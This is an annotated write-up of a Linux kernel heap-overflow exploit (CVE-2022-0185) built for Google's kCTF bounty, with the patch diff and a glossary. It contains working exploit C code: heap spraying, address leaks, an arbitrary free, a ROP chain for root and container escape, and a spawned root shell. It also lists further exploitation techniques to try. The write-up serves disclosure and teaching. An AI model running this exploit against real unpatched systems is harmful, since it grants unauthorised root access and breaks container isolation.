The team wanted to try Google's kCTF VRP. VRP stands for Vulnerability Reward Program, Google's scheme for paying people who report security bugs. Two challenges were offered: kctf, where you root the container to read its root flag, and fullchain, where you root the container, escape to the host, and read the root flag of another container. A flag is a secret string that proves you succeeded. Fullchain was the goal.

Many issues appeared early. The /dev folder was barebones, so fuse and favourite structures like tty_struct were unavailable. /dev is where device files live; a barebones one means many useful kernel objects cannot be created. tty_struct is the kernel's structure for a terminal, often used in exploits because it contains function pointers. Userfaultfd was disabled, and the 4k slab heap seemed to hold many structures and behaved more actively in the container environment, which required better spraying strategies for stability.

A more important issue was the GFP_KERNEL_ACCOUNT flag. Accounting is usually reserved for objects holding userland data, and structures like msg_msg are allocated with it. The flag tells the kernel to charge the allocation to a memory cgroup, a group of processes whose memory use is tracked and limited. Before 5.9 the kernel placed accounted objects in separate slabs, but only with CONFIG_MEMCG_KMEM compiled in. The legacy data allocations should also carry the accounting flag by their purpose, but kernel developers forgot about this until a recent commit for 5.16. That meant msg_msg could not be abused on the kCTF infrastructure Google hosted, which was on 5.4, so a new structure would be needed, found through source reading or CodeQL. CodeQL is a tool that searches source code for patterns. Fortunately an update for kCTF was almost complete that would run Kubernetes on a 5.10 kernel (hence kctf.vrp2.ctfcompetition.com), so the team targeted that one to save time. Kubernetes is the software that manages containers across machines.

StarLabs did get the older kCTF instance. Asked afterwards, n0psledbyte explained they abused msg_msg too, by performing a cross cache overflow, a concept the author had never really considered. A cross cache overflow means overflowing from a block in one size pool into a block in a different pool. grsecurity has an article on how AutoSLAB changes the memory unsafety game related to this strategy, and the author is curious how much spraying is needed for an acceptable reliability rate. AutoSLAB is a defence that randomises which pool an allocation comes from.

With limited ability to control a race, msg_msg could not be used for arbitrary write. The plan was to rely on the unlink primitive or the arbitrary free primitive that msg_msg provides, with the end goal of replacing the pipe_buffer pointer to a function table with a pointer to another arbitrary msg_msg chunk to gain ROP control. A pipe_buffer is the kernel's structure for one end of a pipe; it holds a pointer to a table of functions the kernel calls when the pipe is used. ROP, return-oriented programming, is a technique where the attacker chains together small existing pieces of code, called gadgets, to make the kernel do what they want. Andy Nguyen's and bsauce's articles provided the pipe_buffer idea.

Step 5: spraying the heap and leaking heap addresses

A chat with D3v17 and Paolo Monti's SLUB refresher article helped plan the spray. SLUB is the kernel's default memory allocator. The first thing was to force CPU affinity on one core, since each CPU has its own freelists. Other tricks, which may be placebo but definitely increased reliability in testing, were tuned to the Kubernetes infrastructure:

  1. Pre-allocate a large number of chunks with msg_msg sprays. After each stage, or when repeating a stage, free some of them to cover up corruption and prevent crashes on future allocations. All saved chunks are dumped before triggering a root shell as a final cleanup.
  2. Before overflowing into msg_msg objects from fsconfig, allocate 4 to 7 msg_msg objects (there are only 8 objects in a kmalloc-4k slab), then trigger MSG_COPY on one of them, which forces an allocation and free in the same slab during the copy. This hopefully creates a hole so the next legacy data allocation lands right on top of a msg_msg.

With this spray, kernel leaks and heap leaks came easily. For heap leaks, the exploit uses the fact that each msg_queue links its msg_msg objects in a doubly linked list. A doubly linked list is a chain where each item knows both the item before it and the item after it. Allocating a kmalloc-64 msg_msg between a kmalloc-512 object and a kmalloc-1k object in one queue, and a kmalloc-4k msg_msg chained to a kmalloc-64 msg_msgseg in another queue, allows an OOB read to leak the kmalloc-512 and kmalloc-1k object addresses. kmalloc-512 is not required, it is just what the author chose.

Heap Setup:

From the original on willsroot.io

This diagram shows the arrangement of message queues and their chunks in the different size pools before the overflow.

Overflow into m_ts (size) to achieve OOB read on MSG_COPY:

From the original on willsroot.io

This diagram shows the overflow reaching the size field of a message, so that reading it back with MSG_COPY returns more data than the message really holds.

The contents of the msg_msg data also reveal which msg_queue the leaked addresses belong to, so those queues can be freed selectively and LIFO used to place objects there in advance. LIFO means last in, first out: the most recently freed block is the first one handed out again. The kmalloc-1k object was replaced with a pipe_buffer object, while kmalloc-512 already held stack pivot gadgets. A stack pivot gadget is a small piece of code that moves the stack pointer, the register that says where the program's call stack is, to an address the attacker controls.

From the original on willsroot.io

This diagram shows the kmalloc-1k slot now holding a pipe_buffer and the kmalloc-512 slot holding the pivot gadgets.

The heap leak code:

C
double_heap_leaks do_heap_leaks()
{
    uint64_t kmalloc_1024 = 0;
    uint64_t kmalloc_512 = 0;
    char pivot_spray[0x2000] = {0};
    uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray;
    double_heap_leaks leaks = {0};
    int linked_msg[256] = {0};
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;

    for (int i = 0; i < 255; i++)
    {
        linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        memset(pivot_spray, 0x0, sizeof(pivot_spray));
        pivot_spray_ptr[0] = 1;
        for (int i = 0; i < 10;i ++) {
            pivot_spray_ptr[i+1] = stack_pivot;
        }

        send_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0);
        memset(buffer, 0x1+i, sizeof(buffer));
        message->mtype = 2;
        send_msg(linked_msg[i], message, 0x40 - 0x30, 0);
        message->mtype = 3;
        send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0);
    }
    int size = 0x1038;
    int targets[H_SPRAY] = {0};
    for (int i = 0; i < H_SPRAY; i++)
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    get_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) {
        puts("fsopen: Remember to unshare");
        exit(-1);
    }
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    stuff_4k(16);
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x19";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");
    size = 0x1960;
    puts("[*] Receiving corrupted size and leak data");

    for (int i = 0; i < H_SPRAY; i++)
    {
        get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++)
        {
            uint64_t *dump = (uint64_t *)recieved;
            if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5])
            {
                kmalloc_1024 = dump[j-2];
                kmalloc_512 = dump[j-1];

                uint8_t target_idx = (dump[j+4] & 0xff) - 1;
                get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR);

                for (int k = 0; k < PIPES; k++)
                {
                    if (pipe(pipefd[k]) < 0) {
                        perror("pipe failed");
                        exit(-1);
                    }
                    write(pipefd[k][1], "pwnage", 7);
                }
                break;
            }
        }
        if (kmalloc_1024 != 0) {
            break;
        }
    }
    close(fd);
    if (!kmalloc_1024) {
        puts("[X] No leaks, trying again");
        stuff_4k(16);
        return leaks;
    }
    leaks.kmalloc_1024_leak = kmalloc_1024;
    leaks.kmalloc_512_leak = kmalloc_512;
    return leaks;
}

Line by line. kmalloc_1024 and kmalloc_512 will hold the two leaked addresses. pivot_spray is a buffer that will be filled with the stack pivot address, and pivot_spray_ptr lets the code write 8-byte values into it. leaks is the structure returned to the caller. linked_msg holds up to 256 queue identifiers. The first loop creates 255 queues. For each, it clears pivot_spray, sets the first 8-byte slot to 1 (the message type), and fills the next 10 slots with stack_pivot, the address of the pivot gadget. It sends that as a 0x200-byte message, which lands in the kmalloc-512 pool. Then it fills buffer with a repeated byte, sets the message type to 2, and sends a 0x40-byte message, which lands in kmalloc-64. Then it sets the type to 3 and sends a 0x400-byte message, which lands in kmalloc-1k. So each queue holds three messages of three different sizes, chained together. The next loop creates H_SPRAY target queues, each holding a 0x1038-byte message, which lands in kmalloc-4k. Then it reads one target back with MSG_COPY to force an allocation and free in the 4k slab, creating a hole. It opens ext4 and fills the legacy buffer with 117 calls as before. stuff_4k(16) is a helper that allocates and frees 4k chunks to shape the slab. Then pat[21] = '\x00' shortens the key and evil is a two-byte string; the two fsconfig calls perform the overflow, this time writing \x60\x19 into the size field. size is raised to 0x1960, larger than the real message, so reading back will overrun. The final loop reads each target with MSG_COPY and scans the returned bytes from offset 0x202 onwards, looking for the marker pattern: a 2, then a 0x10, then two equal values. When it finds it, the two preceding 8-byte values are the leaked kmalloc-1k and kmalloc-512 addresses. The byte at dump[j+4] identifies which linked queue the objects belong to, and the code reads that queue's 0x400-byte message to free it. Then it creates PIPES pipes and writes 7 bytes into each, which allocates pipe_buffer objects in the kmalloc-1k pool. If a leak was found, the loop breaks and the addresses are stored in leaks and returned. If not, the program prints a failure message, calls stuff_4k(16) again, and returns the empty structure so the caller can retry.

Step 6: the unlink attempt and the arbitrary free

The first approach was an unlink attack. In do_msgrcv, the unlink happens when MSG_COPY is not specified: victim->prev->next = victim->next and victim->next->prev = victim->prev. In plain words, when a message is removed from its queue, the kernel patches the chain so the neighbours point at each other, skipping the removed item. Setting victim->prev to the location of the ops table pointer and victim->next to an address in the kmalloc-512 msg_msg data buffer should change the ops table pointer to point at the malicious msg buffer, a classic unlink attack. The attacker abuses the pointer patching to write a chosen value to a chosen place.

From the original on willsroot.io

This diagram shows the corrupted list pointers and where the unlink would write.

Unfortunately CONFIG_DEBUG_LIST was enabled. This is a kernel build option that adds checks to list operations. The unlink performs a validity check:

C
bool __list_del_entry_valid(struct list_head *entry)
{
	struct list_head *prev, *next;

	prev = entry->prev;
	next = entry->next;

	if (CHECK_DATA_CORRUPTION(next == LIST_POISON1,
			"list_del corruption, %px->next is LIST_POISON1 (%px)\n",
			entry, LIST_POISON1) ||
	    CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
			"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
			entry, LIST_POISON2) ||
	    CHECK_DATA_CORRUPTION(prev->next != entry,
			"list_del corruption. prev->next should be %px, but was %px\n",
			entry, prev->next) ||
	    CHECK_DATA_CORRUPTION(next->prev != entry,
			"list_del corruption. next->prev should be %px, but was %px\n",
			entry, next->prev))
		return false;

	return true;
}

Line by line. prev and next are read from the entry being removed. The four CHECK_DATA_CORRUPTION calls test whether the pointers look sane: the next pointer must not be the special poison value LIST_POISON1, the previous pointer must not be LIST_POISON2, the previous item's next pointer must point back at this entry, and the next item's previous pointer must point back at this entry. Poison values are deliberately invalid addresses the kernel writes into freed pointers so that any later use crashes loudly. If any check fails, the function returns false.

On failure it simply does not unlink, though the frees still happen and the original pointers are set to the kernel POISON constants.

Since heap leaks are available, the linked lists can be overwritten so they still dereference on unlink even if the unlink fails, and then the next and security pointers can be overwritten to build an arbitrary free primitive when chained with do_msgrcv. The security pointer is a field in the message structure used by security modules. An arbitrary free means telling the kernel to free a memory block of the attacker's choosing. Because the payload must also be a valid string, only unaligned frees are possible given the slab heap leaks. Unaligned means the address is not at the start of a block, which is why the offsets like -0x20 appear. The plan is to ignore whatever is freed in kmalloc-512 (writing a misaligned address for the security pointer) and free the address at the kmalloc-1k chunk at an offset of -0x20. If a 1k msg_msg is then allocated over that freed spot, controlled userdata can be copied in to overwrite the ops pointer so it points to an address holding the stack pivot gadget, without triggering hardened usercopy bounds checks.

The corrupted 4k msg_msg should create this heap scenario:

From the original on willsroot.io

This diagram shows the heap after the 4k message has been corrupted, with the pointers arranged so the unlink check passes and the free targets the right spot.

Then, freeing the 4k msg_msg and spraying some 1k msg_msg to hopefully overlap with the target pipe_buffer:

From the original on willsroot.io

This diagram shows the 4k message freed and a 1k message sprayed into the same space as the target pipe_buffer.

Closing the target pipefd with close should trigger one of the stack pivots through the overwritten ops table pointer, specifically the release function. The release function is the one the kernel calls when the last reference to a file or pipe is closed. At this point none of the registers pointed into kmalloc-512, but the known addresses in registers like rax pointed to the start of the pipe_buffer chunk. Registers are the small, fast storage slots inside the processor; rax is one of them. The 1k msg_msg chunk used to overwrite the pipe_buffer therefore also has to contain the ROP chain, and the stack pivot must replace rsp with rax. rsp is the register that points at the current stack.

The gadgets used:

Text
stack pivot: `mov rsp, rax ; pop rbp ; ret;`

set rdi: `pop rdi ; ret ;`

set rsi: `pop rsi ; ret ;`

set rdi from rax: `test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret ;`

Each line is a short sequence of machine instructions found somewhere in the kernel. mov rsp, rax copies the value in rax into rsp, moving the stack to the attacker's data. pop rbp and pop rdi and pop rsi take the next value off the stack and put it in a register, which is how arguments are passed to the next gadget. ret returns to the next address on the stack, which is how the chain moves from one gadget to the next. test esi, esi checks whether esi is zero, and cmovne rdi, rax copies rax into rdi only if it was not zero. mov rax, qword [rdi] loads the 8 bytes at the address in rdi into rax.

The ROP chain's goal was to become root in the root namespace. The team borrowed Andy Nguyen's strategy of commit_cred(prepare_kernel_cred(NULL)) and switch_task_namespaces(find_task_by_vpid(1), init_nsproxy), then used the kpti trampoline from swapgs_and_return_to_userspace to return to userland gracefully. prepare_kernel_cred(NULL) builds a fresh set of root credentials, and commit_cred applies them to the current process. find_task_by_vpid(1) finds the process with pid 1, the first process in the namespace, and switch_task_namespaces moves the current process into that process's namespaces, which is how the container boundary is crossed. KPTI is a defence that keeps two separate page tables, one for the kernel and one for user programs, so the kernel's memory is not mapped while user code runs. A trampoline is the small piece of code that switches from one to the other. The classic setns tricks in container breakouts complete the escape. setns is a system call that moves a process into another namespace.

Step 7: privilege escalation and container escape

C
void dump_flag()
{
    char buf[200] = {0};
    for (int i = 0; i < 4194304; i++) {

        snprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i);
        int fd = open(buf, O_RDONLY);
        if (fd < 0) {
            continue;
        }
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        read(fd, buf, 100);
        write(1, buf, 100);
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        close(fd);
    }
    return;
}

__attribute__((naked)) win()
{
    asm volatile(
        "mov rbp, rsp;"
        "and rsp, -0xf;"
        "call dump_flag;"
        "mov rsp, rbp;"
        "ret;");
}

void pwned()
{
    write(1, "ROOOOOOOOOOOT\n", 14);
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);
    win();
    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);
    _exit(0);
}

void do_win(uint64_t kmalloc_512, uint64_t kmalloc_1024)
{
    int size = 0x1000;
    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    char pat[0x40] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));
    int ready = 0;
    int ignition_target = -1;

    uint64_t next_target = kmalloc_1024 + 0x440;
    uint64_t prev_target = kmalloc_512 + 0x440;

    uint64_t free_target = kmalloc_1024 - 0x20;
    uint64_t make_sec_happy = kmalloc_512 - 0x20;
    stuff_4k(16);
    int targets[P_SPRAY] = {0};
    while (!ready)
    {
        for (int i = 0; i < P_SPRAY; i++)
        {
            memset(buffer, 0x41+i, sizeof(buffer));
            targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
            send_msg(targets[i], message, size - 0x30, 0);
        }
        get_msg(targets[0], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

        fd = fsopen("ext4", 0);
        if (fd < 0) {
            puts("Opening");
            exit(-1);
        }
        strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        for (int i = 0; i < 117; i++) {
            fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
        }
        puts("[*] Done heap overflow");
        char evil[0x40] = {0};
        uint64_t *evil_ptr = (uint64_t *)evil;
        memset(evil, 0x41, 0x30);
        evil_ptr[0] = next_target;
        evil_ptr[1] = prev_target;
        evil_ptr[4] = free_target;
        evil_ptr[5] = make_sec_happy;

        if(strlen(evil) != 0x30) {
            puts("unable to continue given heap addresses");
            exit(-1);
        }
        puts("[*] Overflowing...");
        fsconfig(fd, FSCONFIG_SET_STRING, evil, "\x00", 0);
        puts("check heap to check preparedness for ignition");
        stuff_4k(16);
        for (int i = 0; i < P_SPRAY; i++)
        {
            memset(recieved, 0, sizeof(recieved));

            int ret = get_msg_no_err(targets[i], recieved, size+0x50-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
            if (ret < 0)
            {
                ready = 1;
                ignition_target = i;
                break;
            }
        }
        if (!ready) {
            puts("nothing ready for ignition, trying again");
            stuff_4k(16);
        }
    }
    char overwrite[0x300] = {0};
    memset(overwrite, 0x41, sizeof(overwrite));
    uint64_t *overwrite_ptr = (uint64_t *)overwrite;

    overwrite_ptr[1] = kmalloc_512 + 0x50;
    uint64_t user_rflags, user_cs, user_ss, user_sp;
    asm volatile(
        "mov %0, %%cs\n"
        "mov %1, %%ss\n"
        "mov %2, %%rsp\n"
        "pushfq\n"
        "pop %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
    );
    uint64_t chain[] = {
        pop_rdi, 0, prepare_kernel_cred,
        pop_rsi, 0xbaadbabe, cmov_rdi_rax_esi_nz_pop_rbp, 0xdeadbeef,
        commit_creds,
        pop_rdi, 1, find_task_by_vpid,
        pop_rsi, 0xbaadbabe, cmov_rdi_rax_esi_nz_pop_rbp, 0xdeadbeef,
        pop_rsi, init_nsproxy, switch_task_namespaces,
        kpti_trampoline, 0xdeadbeef, 0xbaadf00d, (uint64_t)pwned,
        user_cs, user_rflags, user_sp & 0xffffffffffffff00, user_ss,
    };
    memcpy(&overwrite_ptr[2], chain, sizeof(chain));
    for (int i = 0; i < P_SPRAY; i++)
    {
        get_msg(targets[i], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }

    for (int i = 0; i < ROP_SPRAY; i++)
    {
        send_msg(rop_msg_qid[i], overwrite, 0x300 - 0x30, 0);
    }
    deplete_512();
    deplete_4k();
    puts("[*] Attempt at igniting ROP!");

    for (int i = 0; i < PIPES; i++)
    {
        close(pipefd[i][0]);
        close(pipefd[i][1]);
    }
}

Line by line. dump_flag loops over four million possible process ids, builds the path /proc/<pid>/root/flag/flag for each, and tries to open it. /proc/<pid>/root is a shortcut to the root directory of the process with that id, so if another container's process is visible, its flag file can be read. When a file opens, it prints a row of dice, reads up to 100 bytes, writes them to standard output, prints the dice again, and closes the file. win is a naked function, meaning the compiler adds no prologue or epilogue; it saves the stack pointer in rbp, aligns the stack to 16 bytes, calls dump_flag, restores the stack pointer, and returns. pwned prints ROOOOOOOOOOOT, then calls setns three times to join the mount, pid and network namespaces of process 1, which is the host's first process. It calls win to dump the flag, then starts /bin/sh so the attacker has a shell, and exits. do_win takes the two leaked addresses. It creates a queue and a message, and computes four addresses: next_target and prev_target are the leaked addresses plus 0x440, and free_target and make_sec_happy are the leaked addresses minus 0x20. stuff_4k(16) shapes the slab. The while (!ready) loop sprays P_SPRAY 4k messages, reads one back with MSG_COPY to create a hole, opens ext4, fills the legacy buffer with 117 calls, then builds evil, a 0x40-byte buffer filled with 0x41 bytes whose first two 8-byte slots are the next and previous targets and whose slots 4 and 5 are the free targets. It checks that the string is still 0x30 bytes long, because the overflow payload must be a valid string, and exits if not. It calls fsconfig with evil as the key and a null byte as the value, performing the overflow. Then it reads each target back with a slightly larger size; if a read fails, that means the corruption landed where intended, so ready is set and the loop ends. Otherwise it tries again. After the loop, overwrite is a 0x300-byte buffer filled with 0x41 bytes, with slot 1 set to the kmalloc-512 address plus 0x50. The inline assembly saves the user's code segment, stack segment, stack pointer and flags into four variables, so the ROP chain can return cleanly to user mode later. chain is the ROP chain: set rdi to 0, call prepare_kernel_cred, set rsi to a dummy value, use the gadget to move rax into rdi, call commit_creds, set rdi to 1, call find_task_by_vpid, set rsi to init_nsproxy, call switch_task_namespaces, then jump through the KPTI trampoline back to pwned with the saved user registers. The chain is copied into overwrite after the first two slots. The loop frees the sprayed target messages, then ROP_SPRAY messages containing overwrite are sent, which places the chain in the kmalloc-1k pool. deplete_512 and deplete_4k free the remaining sprayed chunks. Finally the program closes both ends of every pipe, which triggers the release function and therefore the stack pivot.

To find the other container's flag, the exploit brute-forces /proc/pid/root/flag/flag, since the container's pid maps to some other pid reachable from the root pid namespace. A root shell would also work, but this is more efficient for getting the flag. The final exploit is at https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_kctf.c.

Why it worked

The bound check in legacy_parse_param subtracts an unsigned size from PAGE_SIZE - 2. Once size reaches 4095 or more, the subtraction underflows and the check passes for any length, so the subsequent memcpy calls write past the 4096-byte legacy_data allocation. The bug has been present since 5.1-rc1. The only privilege needed is CAP_SYS_ADMIN in the current namespace, which an unprivileged user obtains by creating a new user and mount namespace with unshare(CLONE_NEWNS|CLONE_NEWUSER).

Existing mitigations did not stop it. Slab randomization and hardening did not prevent the overflow from reaching the first 0x30 bytes of a msg_msg, and since 5.7 the freelist pointer sits in the middle of the chunk, so overflowing the start of the object does not corrupt the allocator state. Usercopy hardening did not block the leak because MSG_COPY copies through a fresh msg_msg rather than unlinking the corrupted one. CONFIG_DEBUG_LIST did block the straightforward unlink attack, which is why the exploit moved to the arbitrary free primitive. On the kCTF side, the GFP_KERNEL_ACCOUNT separation in kernels before 5.9 (with CONFIG_MEMCG_KMEM) would have prevented msg_msg from being placed alongside the legacy data, which is why the team targeted the 5.10-based instance.

What it means

On a general Linux distribution, an unprivileged local user can escalate to root: the Ubuntu exploit overwrites modprobe_path so that a script makes /bin/bash suid, after which running bash with -p gives root. In the kCTF environment, the exploit roots the container, escapes to the host through the namespace and credential ROP chain, and reads the root flag of another container by brute-forcing /proc/pid/root/flag/flag. The bug affects all kernel versions since 5.1, and the exploit as published works on versions above 5.7 with the spray reworked for older kernels. Google still granted a sizeable bounty, despite the collision with StarLabs' earlier find.

The fix

The fix clubby789 developed and the team sent to the Linux kernel project replaces the underflowing check with an addition that cannot wrap:

Text
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
 			       param->key);
 	}

-	if (len > PAGE_SIZE - 2 - size)
+	if (size + len + 2 > PAGE_SIZE)
 		return invalf(fc, "VFS: Legacy: Cumulative options too large");
 	if (strchr(param->key, ',') ||

This is a diff, the format used to show a change to source code. Lines starting with a minus are removed and lines starting with a plus are added. The old line subtracted size from PAGE_SIZE - 2, which can wrap around. The new line adds size, len and 2 together and compares the total with PAGE_SIZE. Adding three positive numbers cannot wrap in the same way, so the check now rejects any option that would not fit. The bug was patched as of the article's release.

Things worth trying

  • Other legacy filesystems: any struct file_system_type without init_fs_context reaches legacy_parse_param. Open it with fsopen and send repeated FSCONFIG_SET_STRING calls with a 33-byte value; a KASAN slab-out-of-bounds in legacy_parse_param confirms the path.
  • Other unsigned size arithmetic in bound checks: look for PAGE_SIZE - N - size patterns where size is unsigned. A positive result is a check that passes when size is close to the page size.
  • msg_msg abuse on kernels before 5.9 with CONFIG_MEMCG_KMEM: try a cross cache overflow as StarLabs did on the older kCTF instance. A positive result is a leak or write through msg_msg despite the accounting separation.
  • pipe_buffer ops overwrite: after obtaining a heap leak, free a kmalloc-1k chunk at an offset and spray 1k msg_msg objects containing a ROP chain and a stack pivot. Closing the pipe should trigger the pivot; a positive result is control of rsp.
  • FUSE-based usercopy race on kernels where userfaultfd is disabled: build a custom FUSE filesystem whose read handler blocks on a pipe, map it, and trigger the copy. A positive result is a hang at the chosen offset without needing userfaultfd.
  • CONFIG_DEBUG_LIST bypass: overwrite the linked list pointers so the validity check passes, then use the security pointer for an unaligned free. A positive result is a controlled free that survives the check.

Glossary

  • Kernel: the core program of an operating system that controls hardware, memory and permissions.
  • Root: the administrator account on Linux, which can do anything.
  • Container: a sealed-off box inside a computer that a program runs in, seeing only its own little world.
  • Container escape: getting from inside a container out to the machine that hosts it.
  • Bounty: money paid for reporting a security bug.
  • CVE: a public catalogue number for a known security flaw.
  • Fuzzer: a program that throws random, malformed input at a target and watches for crashes.
  • System call: the way a normal program asks the kernel to do something.
  • KASAN: a kernel debugging feature that detects reads and writes outside an allocated memory area.
  • Slab: the kernel's internal pool of fixed-size memory blocks.
  • Cache (kmalloc cache): a pool of memory blocks of one particular size, such as kmalloc-4k for 4096-byte blocks.
  • Page: a fixed-size unit of memory, 4096 bytes on the systems in this article.
  • Heap: the area of memory where programs and the kernel allocate blocks at run time.
  • Heap overflow: writing past the end of an allocated block into whatever sits next to it.
  • OOB read: reading past the end of a buffer.
  • Arbitrary read / arbitrary write: reading or writing any address the attacker chooses.
  • Primitive: the one small ability an attacker has, which they build everything else from.
  • Function pointer: a variable holding the address of a function, so the kernel can choose at run time which function to run.
  • Capability: a specific permission, such as CAP_SYS_ADMIN for administering the system.
  • Namespace: a private view of part of the system, such as processes, network or mounts.
  • unshare: a system call that creates new namespaces for the calling process.
  • Unsigned int: a whole number that cannot be negative; subtracting a bigger number from a smaller one wraps around to a huge value.
  • Underflow: the wrap-around that happens when an unsigned number goes below zero.
  • msg_msg: the kernel's internal structure for a message in a queue.
  • msg_msgseg: a small follow-on block used when a message is too big for one chunk.
  • msg_queue: a queue that holds messages and links them in a list.
  • MSG_COPY: a flag that asks the kernel to copy a message out without removing it from its queue.
  • UAF (use-after-free): using memory after it has been given back.
  • Spraying: allocating many objects of the same size so that one lands where you want.
  • CPU affinity: pinning a program to one processor core so its allocations come from that core's pool.
  • Freelist: the kernel's list of free blocks in a pool.
  • LIFO: last in, first out; the most recently freed block is handed out first.
  • KASLR: a defence that loads the kernel at a random address each boot.
  • Rebase: working out the real load address from one leaked pointer.
  • seq_operations: a small kernel structure holding function pointers, created when certain files are opened.
  • Usercopy: the kernel routine that copies data between kernel memory and user memory.
  • Hardened usercopy: a defence that checks the copy stays inside the object it claims to touch.
  • userfaultfd: a kernel feature that lets a program handle page faults in its own memory and therefore pause the kernel.
  • FUSE: Filesystem in Userspace; lets an ordinary program pretend to be a filesystem.
  • mmap: a system call that maps a file or memory into a program's address space.
  • Pipe: a one-way channel between two parts of a program.
  • Race condition: a situation where the result depends on the exact timing of two operations.
  • suid: set user id; running a program gives you the file owner's privileges.
  • modprobe_path: a kernel setting holding the path of the program the kernel runs to load a module, run with root privileges.
  • Module: a piece of driver code the kernel can load on demand.
  • Header: the first few bytes of a file that identify its format.
  • VRP: Vulnerability Reward Program, Google's scheme for paying bug reporters.
  • Flag: a secret string that proves you succeeded in a challenge.
  • Kubernetes: software that manages containers across machines.
  • GFP_KERNEL_ACCOUNT: a flag telling the kernel to charge an allocation to a memory cgroup.
  • Memory cgroup: a group of processes whose memory use is tracked and limited.
  • CodeQL: a tool that searches source code for patterns.
  • Cross cache overflow: overflowing from a block in one size pool into a block in a different pool.
  • AutoSLAB: a defence that randomises which pool an allocation comes from.
  • SLUB: the kernel's default memory allocator.
  • pipe_buffer: the kernel's structure for one end of a pipe, holding a pointer to a table of functions.
  • ROP (return-oriented programming): chaining together small existing pieces of code, called gadgets, to make the kernel do what you want.
  • Gadget: a short sequence of machine instructions ending in a return, used as a building block in a ROP chain.
  • Stack pivot: a gadget that moves the stack pointer to an address the attacker controls.
  • Register: a small, fast storage slot inside the processor, such as rax, rdi, rsi, rsp.
  • rsp: the register that points at the current stack.
  • KPTI: a defence that keeps separate page tables for kernel and user programs.
  • Trampoline: a small piece of code that switches between kernel and user mode.
  • setns: a system call that moves a process into another namespace.
  • Doubly linked list: a chain where each item knows both the item before it and the item after it.
  • Unlink: removing an item from a linked list by patching its neighbours to point at each other.
  • Poison value: a deliberately invalid address the kernel writes into freed pointers so later use crashes loudly.
  • CONFIG_DEBUG_LIST: a kernel build option that adds checks to list operations.
  • Arbitrary free: telling the kernel to free a memory block of the attacker's choosing.
  • Unaligned: an address that is not at the start of a block.
  • Diff: the format used to show a change to source code, with minus for removed lines and plus for added lines.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.